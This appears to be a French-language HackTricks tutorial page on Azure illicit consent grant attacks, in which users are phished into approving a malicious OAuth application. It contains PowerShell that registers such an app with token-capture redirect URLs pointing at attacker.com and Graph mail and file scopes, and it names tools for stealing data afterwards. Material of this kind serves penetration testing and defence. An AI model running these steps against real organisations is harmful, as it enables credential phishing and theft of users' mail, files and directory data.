Français - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Illicit Consent Grant

Soutenez HackTricks

OAuth App Phishing

Azure Applications demandent des permissions pour accéder aux données utilisateur (informations de base, mais aussi accès aux documents, envoi d'emails...). Si autorisé, un utilisateur normal peut accorder son consentement uniquement pour des permissions à "faible impact". Dans tous les autres cas, le consentement de l'administrateur est requis. GA, ApplicationAdministrator, CloudApplication Administrator et un rôle personnalisé incluant la permission d'accorder des permissions aux applications peuvent fournir un consentement à l'échelle du locataire.

Seules les permissions qui ne nécessitent pas de consentement d'administrateur sont classées comme faible impact. Ce sont les permissions requises pour la connexion de base : openid, profile, email, User.Read et offline_access. Si une organisation autorise le consentement des utilisateurs pour toutes les applications, un employé peut accorder son consentement à une application pour lire les informations ci-dessus de son profil.

Par conséquent, un attaquant pourrait préparer une application malveillante et avec un phishing, faire en sorte que l'utilisateur accepte l'application et vole ses données.

2 Types d'attaques Illicit Consent Grant

  • Non authentifié : Depuis un compte externe, créer une application avec les permissions User.Read et User.ReadBasic.All par exemple, hameçonner un utilisateur, et vous pourrez accéder aux informations du répertoire.

  • Cela nécessite que l'utilisateur hameçonné puisse accepter les applications OAuth provenant d'environnements externes !

  • Authentifié : Ayant compromis un principal avec suffisamment de privilèges, créer une application à l'intérieur du compte et hameçonner un utilisateur privilégié qui peut accepter des permissions OAuth privilégiées.

  • Dans ce cas, vous pouvez déjà accéder aux informations du répertoire, donc la permission User.ReadBasic.All n'est plus intéressante.

  • Vous êtes probablement intéressé par des permissions nécessitant un administrateur pour les accorder, car un utilisateur brut ne peut donner aucune permission aux applications OAuth, c'est pourquoi vous devez hameçonner uniquement ces utilisateurs (plus d'informations sur les rôles/permissions accordant ce privilège plus tard)

Vérifier si les utilisateurs sont autorisés à consentir

La commande PowerShell suivante est utilisée pour vérifier la configuration du consentement des utilisateurs dans Azure Active Directory (Azure AD) concernant leur capacité à consentir aux applications :

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

  • Désactiver le consentement des utilisateurs : Ce paramètre interdit aux utilisateurs d'accorder des autorisations aux applications. Aucun consentement des utilisateurs aux applications n'est autorisé.

  • Les utilisateurs peuvent consentir aux applications de publishers vérifiés ou de votre organisation, mais uniquement pour les autorisations que vous sélectionnez : Ce paramètre permet à tous les utilisateurs de consentir uniquement aux applications publiées par un publisher vérifié et aux applications enregistrées dans votre propre tenant. Il ajoute une couche de contrôle en permettant le consentement uniquement pour des autorisations spécifiques.

  • Les utilisateurs peuvent consentir à toutes les applications : Ce paramètre est plus permissif et permet à tous les utilisateurs de consentir à toutes les autorisations pour les applications, tant que ces autorisations ne nécessitent pas de consentement administratif.

  • Politique de consentement des applications personnalisée : Ce paramètre indique qu'une politique personnalisée est en place, qui peut être adaptée aux exigences spécifiques de l'organisation et peut impliquer une combinaison de restrictions basées sur le publisher de l'application, les autorisations demandées par l'application et d'autres facteurs.

Comprendre l'attaque de consentement illicite

Dans une attaque de consentement illicite, les attaquants trompent les utilisateurs finaux pour qu'ils accordent des autorisations à une application malveillante enregistrée avec Azure. Cela se fait en faisant apparaître l'application comme légitime, amenant les victimes à cliquer sans le savoir sur un bouton "Accepter". En conséquence, Azure AD émet un jeton vers le site de l'attaquant, leur permettant d'accéder et de manipuler les données de la victime, comme lire ou envoyer des emails et accéder à des fichiers, sans avoir besoin d'un compte organisationnel.

Aperçu du flux d'attaque

L'attaque implique plusieurs étapes ciblant une entreprise générique. Voici comment cela pourrait se dérouler :

  1. Enregistrement de domaine et hébergement d'application : L'attaquant enregistre un domaine ressemblant à un site de confiance, par exemple, "safedomainlogin.com". Sous ce domaine, un sous-domaine est créé (par exemple, "companyname.safedomainlogin.com") pour héberger une application conçue pour capturer des codes d'autorisation et demander des jetons d'accès.

  2. Enregistrement de l'application dans Azure AD : L'attaquant enregistre ensuite une application multi-tenant dans son tenant Azure AD, la nommant d'après l'entreprise cible pour paraître légitime. Ils configurent l'URL de redirection de l'application pour pointer vers le sous-domaine hébergeant l'application malveillante.

  3. Configuration des autorisations : L'attaquant configure l'application avec diverses autorisations API (par exemple, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Ces autorisations, une fois accordées par l'utilisateur, permettent à l'attaquant d'extraire des informations sensibles au nom de l'utilisateur.

  4. Distribution de liens malveillants : L'attaquant crée un lien contenant l'id client de l'application malveillante et le partage avec les utilisateurs ciblés, les trompant pour qu'ils accordent leur consentement.

Utilisation d'outils pour l'attaque

L'attaque peut être facilitée en utilisant des outils comme 365-Stealer.

Préparation à l'attaque :

Si l'attaquant a un certain niveau d'accès à un utilisateur dans l'organisation victime, il pourrait vérifier si la politique de l'organisation permet à l'utilisateur d'accepter des applications :

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Pour exécuter l'attaque, l'attaquant aurait besoin de créer une nouvelle App dans leur Azure Tenant (dans les enregistrements d'App), configurée avec les permissions :

User.ReadBasic.All se trouve dans Microsoft Graph dans les Delegated permissions. (Les permissions d'application nécessiteront toujours une approbation supplémentaire).

  • User.ReadBasic.All est la permission qui vous permettra de lire les informations de tous les utilisateurs de l'organisation si elle est accordée.

  • Rappelez-vous que seuls GA, ApplicationAdministrator, CloudApplication Administrator et un rôle personnalisé incluant permission to grant permissions to applications peuvent fournir un consentement à l'échelle du tenant. Donc, vous devriez hameçonner un utilisateur avec l'un de ces rôles si vous voulez qu'il approuve une App qui nécessite un consentement d'administrateur.

Vous pouvez également créer une App via cli avec :

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Consultez https://www.alteredsecurity.com/post/introduction-to-365-stealer pour apprendre à le configurer.

Notez que le jeton d'accès obtenu sera pour le graph endpoint avec les portées : User.Read et User.ReadBasic.All (les permissions demandées). Vous ne pourrez pas effectuer d'autres actions (mais celles-ci suffisent pour télécharger des informations sur tous les utilisateurs de l'organisation).

O365-Attack-Toolkit

Vous pouvez également utiliser cet outil pour effectuer cette attaque.

Post-Exploitation

Une fois que vous avez accès à l'utilisateur, vous pouvez faire des choses telles que voler des documents sensibles et même télécharger des fichiers de documents avec des portes dérobées.

Références

Soutenez HackTricks
PreviousAz - Unauthenticated Enum & Initial EntryNextAz - Device Code Authentication Phishing

Last updated